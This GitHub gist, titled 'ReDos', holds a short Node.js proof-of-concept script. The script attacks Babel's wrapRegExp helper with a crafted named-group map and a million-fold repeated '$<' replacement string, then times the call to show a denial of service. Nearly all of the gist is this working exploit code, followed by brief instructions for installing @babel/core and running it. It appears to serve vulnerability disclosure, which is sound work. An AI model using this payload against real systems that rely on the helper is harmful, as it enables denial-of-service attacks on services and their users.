Skip to content

Instantly share code, notes, and snippets.

@mmmsssttt404
Created February 25, 2025 07:11
Show Gist options
  • Save mmmsssttt404/1f066ed9237f514714f2cc022d631838 to your computer and use it in GitHub Desktop.
Save mmmsssttt404/1f066ed9237f514714f2cc022d631838 to your computer and use it in GitHub Desktop.
ReDos
//poc.mjs
import wrapRegExpImport from "./node_modules/@babel/helpers/lib/helpers/wrapRegExp.js";
const wrapRegExp = wrapRegExpImport.default || wrapRegExpImport;
// 记录开始时间
let startTime = performance.now();
const pattern = "(foo)";
const groups = { "\u0000": 1 };
const myRegExp = wrapRegExp(pattern, groups);
const targetStr = "foofoo";
let str = "$<".repeat(1000000) + "\u0000";
const result = myRegExp[Symbol.replace](targetStr, str);
console.log(result);
// 记录结束时间
let endTime = performance.now();
// 计算耗时
let timeTaken = endTime - startTime;
console.log(`匹配耗时: ${timeTaken.toFixed(3)} 毫秒`);
//1.yarn add @babel/core
//2.node poc.mjs
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment